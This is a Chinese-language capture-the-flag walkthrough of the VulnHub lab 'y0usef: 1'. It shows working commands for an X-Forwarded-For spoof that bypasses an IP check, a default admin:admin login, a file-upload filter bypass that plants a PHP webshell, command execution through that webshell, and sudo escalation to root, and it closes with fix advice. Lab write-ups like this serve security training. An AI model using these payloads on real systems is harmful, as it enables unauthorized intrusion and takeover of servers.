VulnHub y0usef: 1 通关记录|X-Forwarded-For 绕过、文件上传与 sudo 提权
靶机链接:y0usef: 1
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| y0usef: 1 | 192.168.1.111 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、53/tcp DNS、80/tcp HTTP | 确定 Web 为主攻击面,DNS 为辅 |
| 目录枚举 | dirsearch 发现 /adminstration/ | Gobuster/ffuf 标准字典无该拼写错误,dirsearch 独特命中 |
| IP 绕过 | X-Forwarded-For: 127.0.0.1 | 应用程序信任该头,绕过 IP 级访问控制 |
| 弱登录 | admin:admin | 默认凭据进入后台 |
| 上传绕过 | Content-Type: image/png + filename: shell.php | 后端仅校验 Content-Type,不校验扩展名 |
| RCE | Webshell 命令执行 | 取得 www-data 初始立足点 |
| Flag 1 | /home/user.txt Base64 解密 | 获得 yousef:yousef123 SSH 凭据 |
| Root | yousef 在 sudo 组 | 直接 sudo 到 root |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap
先用 RustScan 做快速端口发现,再让 Nmap 接手服务识别:
rustscan -a 192.168.1.111 --ulimit 5000 --range 1-65535 -- -sV -sC
RustScan 首轮输出:
Open 192.168.1.111:22
Open 192.168.1.111:53
Open 192.168.1.111:80
联动 Nmap 复核后的服务摘要:
| 端口 | 状态 | 服务 | 版本 |
|---|---|---|---|
22/tcp | open | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 |
53/tcp | open | DNS | Unbound(开放解析器) |
80/tcp | open | HTTP | Apache 2.4.10 (Ubuntu),X-Powered-By: PHP/5.5.9-1ubuntu4.29 |
2. DNS 信息收集
53/tcp 上的 Unbound 是一个开放解析器,且对 hvm 和 lan 两个域有权威应答:
dig @192.168.1.111 artig.hvm A +short
# 192.168.1.111
dig @192.168.1.111 -x 192.168.1.111
# yousef-VirtualBox.lan.
此时得到两条线索:
- 管理员用户名可能为
yousef - DNS 开放解析 + 可解析
127.0.0.1,后续结合服务器端请求可形成 DNS Rebinding(本链未使用)
3. Web 根目录枚举
首页是一个静态"Under Construction"页面,无参数处理:
curl -s http://192.168.1.111/
<h1>Sorry , the site is under construction soon, it run </h1>
接着用三个工具做目录枚举,对比效果:
| 工具 | 字典 | 结果 |
|---|---|---|
gobuster | dirb/common.txt | 仅发现 index.php、server-status(403) |
ffuf | raft-small-words.txt | 同上,无新增 |
dirsearch | 内置字典 + -e php,html,txt | 发现 /adminstration/ |
4. 拼写错误目录 — 工具差异分析
gobuster 和 ffuf 的通用字典中只有正确拼写的 administration,而该靶机故意把目录命名为缺少字母 i 的 adminstration。dirsearch 内置字典覆盖了更多变体拼写,因此能够命中。
dirsearch -u http://192.168.1.111/ -e php,html,txt,inc,bak,old,phps -t 30 --random-agent
输出(过滤非 404):
301 322B /adminstration -> /adminstration/
200 491B /adminstration/include/
301 329B /adminstration/logout -> /adminstration/logout/
301 329B /adminstration/upload -> /adminstration/upload/
301 328B /adminstration/users -> /adminstration/users/
其中 /adminstration/include/ 开启了目录列表,可直接读取 header.php 和 footer.php:
curl -s http://192.168.1.111/adminstration/include/header.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title> Admin panel </title>
<link href="/adminstration/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="/adminstration/bootstrap/css/style.css" rel="stylesheet">
</head>
<body>
从 header.php 确认这是一个管理员面板(Admin panel),使用了 Bootstrap 侧边栏模板。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. IP 级认证绕过
直接访问 /adminstration/ 返回应用层 Forbidden:
curl -s http://192.168.1.111/adminstration/
<h1>Forbidden</h1><p>You don't have permission to access on this folder</p>
同时设置 PHPSESSID,说明应用做了会话管理。尝试用常见 Header 绕过:
| 绕过尝试 | 结果 |
|---|---|
| 无 Header | 403 Forbidden |
X-Forwarded-For: 127.0.0.1 | 200 — 登录表单暴露 |
X-Real-IP: 127.0.0.1 | 403 |
X-Client-IP: 127.0.0.1 | 403 |
Forwarded: for=127.0.0.1 | 403 |
结论: 后端 PHP 应用仅信任 X-Forwarded-For 头,使用它来判断客户端 IP。设置 127.0.0.1 即可伪装为本地请求,绕过 IP 白名单。
curl -s -H "X-Forwarded-For: 127.0.0.1" http://192.168.1.111/adminstration/
返回完整登录表单:
<form action="" method="POST">
<div class="form-group">
<label for="exampleInputUsername">Username</label>
<input type="text" class="form-control" name="username" placeholder="Enter username">
</div>
<div class="form-group">
<label for="exampleInputPassword">Password</label>
<input type="password" class="form-control" name="password" placeholder="Password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
2. 弱登录凭据
使用默认凭据 admin:admin 尝试登录:
curl -s -c /tmp/cookie.txt -X POST \
-H "X-Forwarded-For: 127.0.0.1" \
-d "username=admin&password=admin" \
http://192.168.1.111/adminstration/
Hello admin welcome back !!
登录成功后,用 Session 携带 Cookie 访问后台各功能页:
| 路径 | 功能 |
|---|---|
/adminstration/dashborad/ | 仪表盘(注意拼写也为 dashborad) |
/adminstration/users/ | 用户管理 |
/adminstration/upload/ | 文件上传 |
/adminstration/logout/ | 登出 |
后台侧边栏截图(HTML 还原):
Sidebar:
Welcome admin
├── Dashboard
├── Users
├── Upload file
└── Log out
3. 文件上传过滤分析
上传功能位于 http://192.168.1.111/adminstration/upload/,表单字段名为 document。测试各种扩展名和 Content-Type 组合:
| Filename | Content-Type | 结果 |
|---|---|---|
shell.php | application/x-php | file not allow |
shell.phtml | application/x-php | file not allow |
shell.phar | application/x-php | file not allow |
shell.php.jpg | image/jpeg | file not allow(检测到 php) |
shell.pht.png | image/png | uploadad,成功 |
shell.png | image/png | uploadad,成功 |
shell.php | image/png | uploadad,成功 |
过滤逻辑分析:
| 校验维度 | 逻辑 |
|---|---|
| 文件名 | 黑名单匹配 php 子串(不区分大小写),但不检测 phtml、pht 等 |
| Content-Type | 白名单:仅放行 image/png、image/gif |
| 最终扩展名 | 不校验——只要 Content-Type 是图片类型即可 |
绕过方式: Content-Type 设为 image/png,filename 直接写 .php。
curl -s -b /tmp/cookie.txt -H "X-Forwarded-For: 127.0.0.1" \
-F "document=@/dev/stdin;filename=rce.php;type=image/png" \
-F "submit=Send" \
http://192.168.1.111/adminstration/upload/ <<< '<?php system($_GET["c"]); ?>'
响应:
file uploadad files/1781589710rce.php
文件存储在 /adminstration/upload/files/<timestamp><filename>。
0x04 核心攻击链:RCE 与初始立足点
1. Webshell 执行
上传的 PHP 文件可直接访问并执行命令:
curl -s "http://192.168.1.111/adminstration/upload/files/1781589710rce.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认 RCE 后,进行系统信息收集:
curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=uname -a"
Linux yousef-VirtualBox 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=cat /etc/os-release"
Ubuntu 14.04 LTS (Trusty Tahr)
2. 用户 Flag — /home/user.txt
curl -s "http://192.168.1.111/adminstration/upload/files/...rce.php?c=cat /home/user.txt"
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
Base64 解码:
echo 'c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=' | base64 -d
ssh :
user : yousef
pass : yousef123
User Flag(Base64 原文): c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
0x05 权限提升 (Privilege Escalation)
1. SSH 登录与用户权限
凭据 yousef:yousef123 可直接 SSH 登录:
sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 'id'
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
关键发现:yousef 在 sudo 组(groups=...,27(sudo),...)。
2. 直接 sudo 提权
sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 "echo yousef123 | sudo -S id"
uid=0(root) gid=0(root) groups=0(root)
3. Root Flag — /root/root.txt
sshpass -p 'yousef123' ssh -F /dev/null \
-o StrictHostKeyChecking=no \
yousef@192.168.1.111 "echo yousef123 | sudo -S cat /root/root.txt"
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
Base64 解码:
echo 'WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx' | base64 -d
You've got the root Congratulations any feedback content me twitter @y0usef_11
Root Flag(Base64 原文): WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/user.txt - 内容:
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM= - 解码:
ssh : user : yousef pass : yousef123
Root Flag
- 路径:
/root/root.txt - 内容:
WW91J3ZlIGdvdCB0aGUgcm9vdCBDb25ncmF0dWxhdGlvbnMgYW55IGZlZWRiYWNrIGNvbnRlbnQgbWUgdHdpdHRlciBAeTB1c2VmXzEx - 解码:
You've got the root Congratulations any feedback content me twitter @y0usef_11
复盘总结
这台靶机的攻击链偏短,重点在于信息收集阶段的工具选用和绕过手法的组合:
-
Dirsearch 胜在字典覆盖。
gobuster和ffuf的通用字典只有administration,而dirsearch的字典天然覆盖了拼写变体adminstration。这也说明在渗透测试中,工具多样性比单工具深度更重要。 -
X-Forwarded-For 是老但好用的绕过。 大量自研 PHP 应用仍然通过
$_SERVER['HTTP_X_FORWARDED_FOR']来判断客户端 IP,且没有意识到该字段可被任意伪造。在实际渗透中,这个头应当在目录发现后第一时间测试。 -
文件上传过滤的表层校验。 后端仅判断 Content-Type 是否为图片类型,完全没有校验文件实际内容或扩展名。这是文件上传漏洞中最常见的错误实现之一。
-
Base64 不是加密。 两个 flag 文件都直接 Base64 存放敏感信息。这类编码在 CTF 中很常见,但在真实场景中也时有出现——开发者误以为 Base64 是加密。
-
sudo 组配权过于宽松。
yousef被直接加入sudo组意味着任何拿到该用户凭据的人都能直通 root。在生产环境中应当遵循最小权限原则,通过sudoers精确控制可执行命令。
从防守角度看,修复建议也很直接:前端反向代理(如 Nginx)应在转发前剥离 X-Forwarded-For 并重新设置;文件上传必须校验实际文件内容(Magic Bytes + MIME 检测),文件名使用白名单扩展名;敏感信息不应以 Base64 明文存储;sudo 权限应走精确的 sudoers 规则而非直接加入 sudo 组。